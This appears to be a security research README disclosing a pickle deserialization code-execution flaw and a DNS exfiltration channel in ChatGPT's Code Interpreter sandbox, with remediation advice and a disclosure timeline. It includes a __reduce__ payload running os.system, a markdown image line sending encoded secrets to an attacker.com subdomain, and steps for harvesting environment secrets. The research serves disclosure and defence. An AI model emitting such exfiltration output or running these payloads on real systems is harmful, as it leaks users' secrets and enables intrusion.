Dual Critical Failures: AI Sandbox Security Research

Comprehensive validation of DNS Exfiltration and Python Pickle RCE attack chains in AI Code Execution Sandboxes

Target: ChatGPT Code Interpreter (Advanced Data Analysis)
Author: Kai Aizen (@SnailSploit)
Status: REPORTED TO OPENAI → DISMISSED

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Executive Summary

This research documents two critical security vulnerabilities in OpenAI's ChatGPT Code Interpreter that form a synergistic attack chain enabling arbitrary code execution and data exfiltration from an ostensibly air-gapped sandbox environment.

The "Dual Critical Failures"

Failure	Vulnerability	CWE	CVSS	Description
A	Python Pickle RCE	CWE-502	8.1	Insecure deserialization via __reduce__ enables arbitrary code execution
B	DNS Exfiltration	CWE-200	7.5	Canvas rendering triggers browser DNS queries, creating covert egress channel
Combined	Kill Chain	Combined	9.1 Critical	RCE + Exfiltration bypasses all server-side network controls

Key Insight

While modern AI sandboxes successfully mitigate traditional privilege escalation attacks (PwnKit, Dirty Pipe, IMDS), they remain catastrophically vulnerable to application-layer attack chains that abuse existing user privileges rather than attempting to escalate them.

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Attack Chain Visualization

┌─────────────────────────────────────────────────────────────────────────────┐
│                        DUAL CRITICAL FAILURES KILL CHAIN                     │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                              │
│  ┌─────────────┐    ┌─────────────┐    ┌─────────────┐    ┌─────────────┐   │
│  │  1. INGRESS │───▶│  2. TRIGGER │───▶│ 3. EXECUTE  │───▶│ 4. HARVEST  │   │
│  │             │    │             │    │             │    │             │   │
│  │ Upload      │    │ "Analyze    │    │ __reduce__  │    │ Read        │   │
│  │ malicious   │    │  this file" │    │ method      │    │ /proc/env   │   │
│  │ .pkl file   │    │             │    │ executes    │    │ secrets     │   │
│  └─────────────┘    └─────────────┘    └─────────────┘    └─────────────┘   │
│         │                                                        │          │
│         │              FAILURE A: PICKLE RCE (CWE-502)           │          │
│         └────────────────────────────────────────────────────────┘          │
│                                                                              │
│  ┌─────────────┐    ┌─────────────┐    ┌─────────────┐    ┌─────────────┐   │
│  │  5. ENCODE  │───▶│  6. OUTPUT  │───▶│ 7. RENDER   │───▶│ 8. CAPTURE  │   │
│  │             │    │             │    │             │    │             │   │
│  │ Base32/64   │    │ Print       │    │ Browser DNS │    │ Attacker    │   │
│  │ encode      │    │ hostnames   │    │ lookup      │    │ nameserver  │   │
│  │ secrets     │    │ in canvas   │    │ triggered   │    │ logs query  │   │
│  └─────────────┘    └─────────────┘    └─────────────┘    └─────────────┘   │
│         │                                                        │          │
│         │              FAILURE B: DNS EXFIL (CWE-200)            │          │
│         └────────────────────────────────────────────────────────┘          │
│                                                                              │
│  ═══════════════════════════════════════════════════════════════════════    │
│  RESULT: Complete confidentiality breach bypassing all server-side controls │
└─────────────────────────────────────────────────────────────────────────────┘

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Repository Structure

chatgpt-sandbox-security-research/
├── README.md                           # This file
├── SECURITY.md                         # Responsible disclosure info
├── LICENSE                             # MIT License
│
├── docs/
│   ├── Dual_Critical_Failures_Research_Paper.docx   # Full academic paper
│   ├── Validating_AI_Sandbox_Security_Failures_Report.pdf
│   ├── Privilege_Escalation_Attack__Defense_Workflow.pdf
│   └── dns_exfiltration_writeup.md     # DNS technique documentation
│
├── evidence/
│   ├── screenshots/
│   │   ├── 01_disk_filling_dos.jpg          # DoS attack evidence
│   │   ├── 02_aws_imds_blocked.jpg          # IMDS timeout proof
│   │   ├── 03_pickle_rce_reverse_shell.jpg  # RCE execution proof
│   │   ├── 04_pickle_rce_detail.jpg         # Detailed RCE output
│   │   ├── 05_kubernetes_escape_blocked.jpg # K8s escape blocked
│   │   ├── 06_mnt_data_directory.jpg        # Staging directory
│   │   └── 07_root_filesystem_enum.jpg      # Filesystem enumeration
│   │
│   └── logs/
│       ├── exported_script_log.txt          # Pickle execution logs
│       ├── ransomware__1_.log               # Pickle indicator test
│       └── network_hosts_mapping.txt        # DNS/Network mapping
│
└── tools/
    └── (proof-of-concept scripts)

---

Vulnerability Details

Critical Failure A: Python Pickle RCE

The __reduce__ method enables arbitrary code execution during deserialization.

class Malicious:
    def __reduce__(self):
        return (os.system, ("whoami",))  # Executes on pickle.load()

# Attacker uploads payload to /mnt/data/
serialized_payload = pickle.dumps(Malicious())

# AI executes when processing "analyze this file"
malicious_object = pickle.loads(serialized_payload)  # RCE TRIGGERED

Evidence Screenshot:

The "Connection refused" error proves execution - the code ran, only the network connection was blocked.

Critical Failure B: DNS Exfiltration via Canvas

The canvas renders untrusted hostnames, triggering DNS queries from the user's browser.

Model Output:     print("![](https://SECRET_DATA.attacker.com/x.png)")
        ↓
Canvas Renders:   <img src="https://SECRET_DATA.attacker.com/x.png">
        ↓
Browser DNS:      A? SECRET_DATA.attacker.com → Attacker's Nameserver
        ↓
Exfiltration:     Attacker logs query, decodes SECRET_DATA

DNS Message Format:

<index><separator><payload-chunk>.attacker-zone.tld

Example:
p001_db.MFRGGZDFMZTQ====.exfil.lab
p002_db.MFWWK3TLNB2GI===.exfil.lab

Why This Bypasses All Server-Side Controls

Defense	Why It Fails
Container Firewall	Request originates from user's browser, not sandbox
HTTP Blocking	Exfiltration uses DNS query names, not HTTP body
CORS	Prevents reading response, not sending request
CSP	Cannot block DNS resolution for rendered hostnames

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Failed Exploit Attempts (What IS Blocked)

Our testing validated that the sandbox successfully mitigates traditional privilege escalation:

Exploit	CVE	Result	Blocking Control
PwnKit	CVE-2021-4034	❌ BLOCKED	no-new-privileges=1
Dirty Pipe	CVE-2022-0847	❌ BLOCKED	Seccomp filters
Dirty COW	CVE-2016-5195	❌ BLOCKED	Kernel patches
AWS IMDS	N/A	❌ BLOCKED	Network timeout
K8s Escape	N/A	❌ BLOCKED	Orchestrator policies

This is the paradox: The sandbox is well-hardened against vertical privilege escalation but vulnerable to horizontal application-layer abuse.

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The Meta Comparison

Aspect	Meta (Llama-Stack)	OpenAI (ChatGPT)
Vulnerability	Pickle RCE	Pickle RCE + DNS Exfil
Response Time	11 days to patch	Dismissed
Fix Applied	Replaced pickle with JSON	None
CVE Issued	CVE-2024-50050	No
CVSS Score	9.3 (Snyk)	N/A

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Remediation Recommendations

For Pickle RCE (Failure A)

1. Deprecate pickle for user-uploaded data; mandate JSON, Parquet, safetensors
2. Block pickle.load() on files from /mnt/data
3. Sandboxed deserialization in isolated micro-VMs with no secrets

For DNS Exfiltration (Failure B)

1. Treat canvas output as untrusted - sanitize before rendering
2. Render hostnames as inert text unless explicitly allowlisted
3. Enforce limits on hostname count/length per render
4. Monitor for high-entropy subdomains in egress DNS

Network Controls

1. Centralize DNS egress through controlled resolvers
2. Alert on DNS labels > 40 chars with high Shannon entropy
3. Implement Response Policy Zones for rapid quarantine

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MITRE ATT&CK Mapping

Tactic	Technique	Application
Initial Access	T1566.001 Phishing: Attachment	Malicious pickle upload
Execution	T1059.006 Python	Pickle __reduce__ RCE
Credential Access	T1552.001 Credentials in Files	Harvest /proc/1/environ
Exfiltration	T1048.003 Exfil Over Alt Protocol	DNS subdomain tunneling
Impact	T1499 Endpoint DoS	Disk filling

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Timeline

Date	Event
Sep 29, 2024	Oligo reports CVE-2024-50050 to Meta
Oct 10, 2024	Meta patches Llama-Stack (replaced pickle with JSON)
Oct 24, 2024	CVE-2024-50050 issued (CVSS 9.3)
Dec 2024	SnailSploit research begins on ChatGPT
Jan 2025	Research completed & reported to OpenAI
Jan 2025	OpenAI dismisses report

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Responsible Disclosure

This research was conducted with responsible disclosure practices:

• All testing performed on researcher's own accounts
• No real user data was accessed or exfiltrated
• DNS exfiltration tested against researcher-controlled infrastructure
• Full report submitted to OpenAI prior to publication

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Citation

@article{aizen2025dualcritical,
  title={Dual Critical Failures: Validating DNS Exfiltration and Python Pickle RCE Attack Chains in AI Sandboxes},
  author={Aizen, Kai},
  journal={SnailSploit Security Research},
  year={2025},
  month={February},
  url={https://github.com/snailsploit/chatgpt-sandbox-security-research}
}

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Contact

• Researcher: Kai Aizen
• Handle: SnailSploit
• Website: snailsploit.com
• GitHub: @snailsploit

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License

This research is released under the MIT License. See LICENSE for details.

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Disclaimer: This research is provided for educational and defensive purposes only. The techniques documented here should only be used in authorized security assessments. The researcher accepts no liability for misuse of this information.